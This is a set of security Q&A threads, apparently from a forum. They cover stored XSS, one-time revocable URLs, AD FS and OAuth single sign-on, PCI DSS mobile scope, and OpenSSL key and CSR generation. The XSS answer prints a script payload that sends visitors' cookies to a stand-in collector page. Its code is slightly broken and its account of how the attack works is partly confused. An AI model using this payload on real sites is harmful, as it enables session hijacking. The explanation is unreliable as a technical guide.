I’m going to explain this with a hypothetical scenario. So lets say we visit one such vulnerable site which has a comments section on it. Now on an ideal, secure website a comment section should only have text in plain English but on an unsecure site, if we post a code in the comment section the site would think that it is some code from the server side and it is supposed to run that code
    <script>
document.write('<img src="http://localhost/submitcookie.php? cookie ='
+ escape(document.cookie) + '" />);

This code when posted in the comments section will tick the browser
into thinking that it is Javascript code(due to the scripts tags)
sent by the server and will make it run it.
When some user visiting the site looks at the comment section he/she
will see a link to an image in the comments section which is actually
the result of the script running.
When a user clicks on this link thinking that it is an image (whereas
it actually is a php file) they get an image rendered in the comment
section.

So to get back to your question, What the visitors of the website  don’t know is that this link silently executed a php file which grabs their cookie.
Now, the cookie which has that users session ID is saved in the attackers database and the attacker can pose as that user on that site.
So if you didn't take enough measures to protect your website from XSS attack, then Indeed your users will vulnerable subjects for the attacker


Generating one time URLs which can be revoked I have a requirement to generate a one time use URL which should have the following features:

As the URL query parameters may contain sensitive information, it should be encrypted (on top of https encryption).
Once used, the URL cannot be used again.
URLs have automatic expiry after a certain amount of time.
It shall be possible for an administrator to revoke a valid URL. If the user at a later point in time tries to use this URL, he should see an appropriate error message.

To do this, I can think of two high level approaches:

Generate a random number as the query parameter of the URL. Store the random number and the corresponding parameters (i.e. the real query parameters, expiration, revocation status, used status) in a database. When the user uses the URL check all the required pre-conditions and mark it as used before providing the real query parameters.
Embed the real query parameters and the expiration timestamp as the query parameter of URL. Encrypt the URL with an algorithm such as AES256. However, I would still need to store the URL in a database so as to provide the revocation feature.

Based on the above I am leaning towards option 1 as all the logic is in a single place and it looks more secure. Is there any industry best practice to deal with this type of problem?

If it matters, this will be a REST-based web service hosted on IIS.

Looks like you have a pretty good idea what you're doing.

The one-time link pattern is pretty common for things like email verification. Typically, you'd store the expiration date in a database and/or use a signed string in the URL which includes the expiry in the string-to-sign. These are just precautions to avoid trusting user input.

If you want to be really thorough, you can send them the actual random ID or token URL, and then store a hash in the database to avoid someone using the token if you have a data breach.

You're pretty vague about the context of the proposed AES-encrypted parameters. I would usually include sensitive information which is not required for the URL-routing in a message body, instead of the URL. That way, it doesn't appear in web server or proxy logs. AES-encrypted data may also push you over the URL length limit pretty quickly, depending how large the plaintext content is.

Edit: For completeness, Azure Storage SAS Tokens are a great example of a cryptographic method that requires no database record, and is revokable. Revocation is done by changing the service's API Key... which would revoke all tokens issued by the same key.

Given that I don't have a lot of information about the system in use,
I would recommend the simpler database lookup, over any solution that requires cryptographically sophisticated measures.

Also, for cryptographic methods to work as a one-time link, some parameter known by the service, and included in the URL, must be changed when the link is used. This parameter doesn't have to be a database lookup, but there does need to be a persisted change. For example, if the link is a one-time upload URL, the presence of a file in the upload directory might invalidate the URL.

Lastly, the database-stored value is simpler in that there is only one source to check for validity. With the no-database solution, you'd need to check against the secret (ie. the encryption key), and also whatever factor invalidates the link after first use.


Secure REST API that only works for users authenticated by App with SSO (OAuth?) I somehow need to accomplish the following:

User accesses a application written in JavaScript.
Application uses SSO to identify the user who is logged into Windows.
Application obtains the access role for that user for the application.
When the application performs a REST request, only authorized users with a specific role are allow retrieve data.

My company users Windows Active Directory (not Azure) with Kerberos protocol to manage our users login to their computers.

I'm having a hard time wrapping my head around implementing this in this environment. I can't find any resources or articles that talk about this kind of setup.

I feel OAuth is the right direction but don't know what needs to be build/configured.

Do I need a new server running OAuth?
Does that server need to connect to the Windows Active Directory?
How does the JavaScript application get the secure token used for the REST API?

Is this even possible with this tech stack?

You need to setup something called Federation Services.

  AD FS in Windows Server 2016 [AD FS 2016] enables you to add industry
  standard OpenID Connect and OAuth 2.0 based authentication and
  authorization to applications you are developing, and have those
  applications authenticate users directly against AD FS.

Reference to first image
https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/overview/ad-fs-scenarios-for-developers

Here is the tutorial for second image
https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/development/single-page-application-with-ad-fs

If you are cloud friendly, it's pretty straight forward with Azure AD and there are plenty of guides available https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/what-is-single-sign-on


Does PCI DSS 1.4 include tablets and smartphones? 1.4 install personal firewall software on any mobile and/or employee-owned computers with direct connectivity to the Internet (for example, laptops used by employees), which are used to access the organization’s network.

If company employees have their own mobile devices that don't connect to the internal network however they do connect to an internet facing company mail server using encryption. In this case does this apply? How about for company owned phones with the same setup?

My thinking is that neither employee owned nor company owned phones would apply as long as there's no cardholder data in their email that would get stored on their phones. Any clarification on this would be greatly appreciated.

Email servers can be considered an 'outside' company resource, depending on configuration. In that case, if the mobile device only connects to the email server, it is not connecting to the internal network and therefore would not apply to the 1.4 requirement.

But I can think of configurations where accessing the email server could be considered 'inside' access, so I can't make a blanket statement. That's why there are consultants to handle these questions for your specific instance.


Questions about CAs and certificate requests I went through the list of different StackExchange sites, and this seemed like the best place to ask this question, though if there's a better place please let me know!

I recently went through the process of getting an SSL/TLS certificate for a new email server. This was a fairly smooth process, and I understand the fundamentals behind it all.

I am also interested in getting an email certificate -- that is, a certificate that a program like Thunderbird can use to encrypt and decrypt emails. I do also have PGP keys, and yes I can use a plugin to encrypt the text and then email that, but this is partially for learning and partially for options.

Using Kleopatra, I am able to create a Certificate Request file (.p10). However, I cannot seem to find a single CA that mentions these files on their website. The one that Kleopatra/GPG recommend on their website is cacert.org, which actually looks like a great option -- except I cannot get it to generate a certificate. It keeps saying that it couldn't find a valid certificate request! Yet the wizard never even mentioned it or asked for it.

Has anyone here successfully created a certificate for signing/encrypting emails? I tried using one of the other free sevices, like Comodo, but because I don't have the private key that was used to create the certificate request, Thunderbird will not accept it. Hence going the Kleopatra route. There is a tutorial on the cacert website that uses a utility called XCA, however I was not able to import my existing keys into it as it won't accept ascii armor keys, and the other export options from GPG4Win are not acceptable import options in XCA. I really do not want to create a whole new key just for creating an email certificate, especially if I can't keep that key on my existing keychain.

Any thoughts, help or advice is extremely appreciated!

You should generate the private key and the derived CSR yourself. This is by design to prevent the CA from knowing your private key (they could generate everything themselves and give you an easy to use .p12, but that would compromise non-repudiation).

Using OpenSSL, you can generate a private key like this:

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -aes-256-cbc -out mykey.key

This would encrypt the key - you'll need to enter its password each time a program accesses it.

To generate the CSR from the key do the following:

openssl req -new -out mycsr.csr -key mykey.key

Send it to your CA, and you should get a certificate back.

If you do not wish to encrypt the private key you can either omit the -aes-256-cbc argument from the first command or use this all-in-one command to generate a key and a CSR at the same time:

openssl req -new -out mycsr.csr -keyout mykey.key